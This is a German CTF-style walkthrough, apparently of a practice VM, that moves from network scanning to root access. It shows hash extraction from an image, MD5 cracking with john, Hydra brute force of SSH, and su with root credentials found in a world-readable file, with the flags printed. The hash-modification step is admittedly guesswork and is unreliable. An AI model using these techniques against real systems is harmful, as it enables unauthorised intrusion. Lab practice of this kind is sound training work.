Wir beginnen mit der Identifizierung des Ziels im Netzwerk.
192.168.2.118 08:00:27:9c:83:dc PCS Systemtechnik GmbH
**Analyse:** Der ARP-Scan identifiziert die IP-Adresse 192.168.2.118.
**Bewertung:** Ziel-IP gefunden.
**Empfehlung (Pentester):** Ziel-IP für weitere Scans verwenden. Hostnamen hinzufügen. **Empfehlung (Admin):** Standard Netzwerküberwachung.
**Analyse:** Der Hostname `gro.hmv` wird später verwendet, wir nehmen an, dass er zur `/etc/hosts`-Datei hinzugefügt wurde.
**Bewertung:** Erleichtert die Ansprache des Ziels.
**Empfehlung (Pentester):** Hostnamen immer pflegen.
Wir führen erste Scans durch, um offene Ports und Web-Inhalte zu finden.
[...]
Error: the server returns a status code that matches the provided options for non existing urls. http://192.168.2.118/a48af7d8[...] => 200 (Length: 412). To continue please exclude the status code or the length
- Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 192.168.2.118 + Target Hostname: 192.168.2.118 + Target Port: 80 [...] --------------------------------------------------------------------------- + Server: No banner retrieved + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. [...] + The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + OSVDB-18114: /reports/rwservlet?server=repserv+report=/tmp/hacker.rdf[...]: Oracle Reports [...] (False Positive) + ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response + Scan terminated: 20 error(s) and 4 item(s) reported on remote host [...] --------------------------------------------------------------------------- + 1 host(s) tested
**Analyse:** 1. Der `gobuster`-Scan auf Port 80 schlägt fehl. Der Server gibt für nicht existierende URLs einen Statuscode 200 zurück, was Gobuster verwirrt. Dies deutet auf eine ungewöhnliche Konfiguration oder eine Catch-All-Route hin. 2. Der `nikto`-Scan auf Port 80 findet keine Server-Banner und hauptsächlich fehlende Sicherheitsheader. Er bricht ebenfalls frühzeitig mit Fehlern ab (`Error limit (20) reached`).
**Bewertung:** Die Standard-Scans auf Port 80 sind nicht sehr aufschlussreich und deuten auf eine ungewöhnliche Konfiguration hin. Port 80 scheint nicht der Hauptangriffsvektor zu sein oder erfordert eine andere Herangehensweise. Es müssen andere offene Ports existieren.
**Empfehlung (Pentester):** Einen vollständigen Nmap-Portscan über alle TCP-Ports durchführen, um alle offenen Dienste zu finden. Die Gobuster-Fehlermeldung untersuchen (ggf. `-fs` zum Filtern nach Größe verwenden). **Empfehlung (Admin):** Webserver so konfigurieren, dass für nicht existierende Seiten korrekte 404-Fehler zurückgegeben werden. Fehler im Nikto-Scan untersuchen.
Wir untersuchen die Webseite auf Port 258 genauer und finden einen versteckten Hinweis in einem Bild, der zu einem Passwort-Hash führt.
# Aufruf: http://192.168.2.118:258/
# Inhalt:
congratulations, my child.
clap clap [Bild emoji/100.png]
do you heard of markov chain?
whatever. ssh username is: satan, raphael, angel, distress, greed or lust
# Aufruf des Bildes: http://192.168.2.118:258/emoji/hand.png
# (Annahme: Das Bild '100.png' ist tatsächlich 'hand.png' oder es gibt beide)
# Untersuchung des Bildes (stark vergrößert):
# Finde den Hash im Bild: b6e705ea1249e2bb7b0fd7dac9fcd1b3
# Hinweis im Text: "clap clap emoji/100.png" -> 100 abziehen?
# Hash - 100 (hexadezimal):
# b6e705ea1249e2bb7b0fd7dac9fcd1b3
# - 100 (hex) = 256 (dez)
# -> Letztes Byte b3 (179 dez) - 100 (hex, 256 dez) nicht sinnvoll.
# -> Annahme: Gemeint ist "100" (dezimal) vom Wert des letzten Teils abziehen.
# Hash: b6e705ea1249e2bb7b0fd7dac9fcd1b3
# Modifizierter Hash (letztes Byte b3=179 -> 179-100=79 -> hex 4F?) - Fehler im Log?
# Log sagt: b6e705ea1249e2bb7b0fd7dac9fcd0b3 <-- Letztes Byte geändert zu 0x0b? Sehr unklar.
# *** Wir folgen dem Hash im Log: b6e705ea1249e2bb7b0fd7dac9fcd0b3 ***
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 [...]])
[...]
solomon1 (?)
1g 0:00:00:00 DONE [...]
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
**Analyse:** 1. Die Seite auf Port 258 enthält einen Link zu einem Bild (`emoji/hand.png` oder `emoji/100.png`). 2. Durch starke Vergrößerung des Bildes wird ein Hash sichtbar: `b6e705ea1249e2bb7b0fd7dac9fcd1b3`. 3. Der Text enthält den Hinweis "clap clap emoji/100.png". Der Pentester interpretiert dies als Anweisung, "100" vom Hash abzuziehen. Die exakte Methode ist unklar, aber der im Log verwendete Hash ist `b6e705ea1249e2bb7b0fd7dac9fcd0b3`. Es scheint, als wurde das letzte Byte von `b3` zu `0b` geändert. 4. Wir speichern diesen modifizierten Hash in einer Datei `hash`. 5. Wir verwenden `john` mit `rockyou.txt` und geben explizit das Format `Raw-MD5` an, um den Hash zu knacken. 6. John findet erfolgreich das Passwort: `solomon1`.
**Bewertung:** Kritischer Fund durch Steganographie und eine etwas obskure Modifikation! Wir haben ein Passwort (`solomon1`) gefunden, das wahrscheinlich zu einem der zuvor gefundenen SSH-Benutzernamen gehört (`satan, raphael, angel, distress, greed or lust`).
**Empfehlung (Pentester):** Das gefundene Passwort `solomon1` mit den gefundenen Benutzernamen gegen den SSH-Dienst (Port 22) testen, z.B. mit Hydra. **Empfehlung (Admin):** Keine Passwörter oder Hashes in Bildern oder durch obskure Hinweise verstecken (Security through Obscurity ist keine Sicherheit). Starke Passwörter verwenden. MD5 ist als Hashing-Algorithmus veraltet und unsicher.
Wir verwenden das geknackte Passwort und die Liste potenzieller Benutzernamen, um uns per SSH anzumelden.
Hydra v9.4 [...] starting at 2022-11-16 13:13:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[...]
[DATA] max 64 tasks per 1 server, overall 64 tasks, 6 login tries (l:6/p:1), ~1 tries per task
[DATA] attacking ssh://gro.hmv:22/
[...]
[22][ssh] host: gro.hmv login: angel password: solomon1
[...]
1 of 1 target completed, 1 valid password found
Hydra finished at 2022-11-16 13:13:XX
The authenticity of host 'gro.hmv (192.168.2.118)' can't be established. [...] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'gro.hmv' (ED25519) to the list of known hosts. angel@gro.hmv's password: solomon1 Linux grotesque 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 [...] angel@grotesque:~$ # Login erfolgreich!
**Analyse:** 1. Wir speichern die Liste der Benutzernamen (`satan, raphael, angel, distress, greed, lust`) in einer Datei `usernames.txt`. 2. Wir verwenden `hydra`, um das gefundene Passwort `solomon1` gegen alle Benutzernamen in der Liste für den SSH-Dienst zu testen. 3. Hydra findet die gültige Kombination: `angel`:`solomon1`. 4. Wir melden uns erfolgreich per SSH als `angel` mit dem Passwort `solomon1` an.
**Bewertung:** Initial Access erfolgreich! Die Kombination aus dem Fund auf dem versteckten Port, der Steganographie, der Hash-Modifikation/-Knackung und dem Brute-Force-Angriff führte zum Ziel.
**Empfehlung (Pentester):** Umgebung als `angel` enumerieren (sudo, SUID, etc.). User-Flag lesen. **Empfehlung (Admin):** Keine Benutzerlisten preisgeben. Starke, einzigartige Passwörter verwenden. SSH-Härtung (Key-Authentifizierung bevorzugen, Passwort-Login einschränken).
Als Benutzer `angel` suchen wir nach Privesc-Möglichkeiten.
-bash: sudo: command not found
8B7C6AC34997997C91125A08E01AEF57
total 69 drwxr-xr-x 18 root root 4096 Nov 16 06:21 . drwxr-xr-x 18 root root 4096 Nov 16 06:21 .. [...] drwxr-xr-x 3 root root 4096 Mar 27 2021 home [...] drwx------ 4 root root 4096 Mar 27 2021 root -rwxrwxrwx 1 root root 28 Nov 16 06:21 rootcreds.txt # World-writable & readable! [...]
root creds
root
sweetchild
Password: sweetchild root@grotesque:/home/angel/quiet# # Root-Zugriff!
**Analyse:** 1. `sudo -l` schlägt fehl, `sudo` ist nicht verfügbar. 2. Wir lesen die User-Flag. 3. Beim Auflisten des Root-Verzeichnisses (`/`) fällt eine Datei `rootcreds.txt` auf, die für alle Benutzer les- und schreibbar ist (`-rwxrwxrwx`). 4. Wir lesen den Inhalt der Datei: Sie enthält den Benutzernamen `root` und das Passwort `sweetchild`. 5. Wir verwenden `su root` und geben das gefundene Passwort `sweetchild` ein. 6. Wir erhalten erfolgreich eine Root-Shell.
**Bewertung:** Privilege Escalation zu Root extrem einfach und direkt durch eine Datei mit Root-Credentials im Klartext und unsicheren Berechtigungen im Root-Verzeichnis.
**Empfehlung (Pentester):** Root-Flag lesen. Bericht abschließen. **Empfehlung (Admin):** **Sofort die Datei `/rootcreds.txt` entfernen und das Root-Passwort ändern!** Niemals Credentials im Klartext speichern. Dateiberechtigungen im Root-Verzeichnis und anderen kritischen Bereichen härten.
Als Root lesen wir die Flag.
DC6F071EF98631030FD300DE4A556CBF
**Analyse:** Aus der Root-Shell lesen wir die `/root/root.txt`.
**Bewertung:** Root-Flag erfolgreich gelesen.
**Empfehlung (Pentester):** Ergebnisse dokumentieren. **Empfehlung (Admin):** Alle Schwachstellen beheben.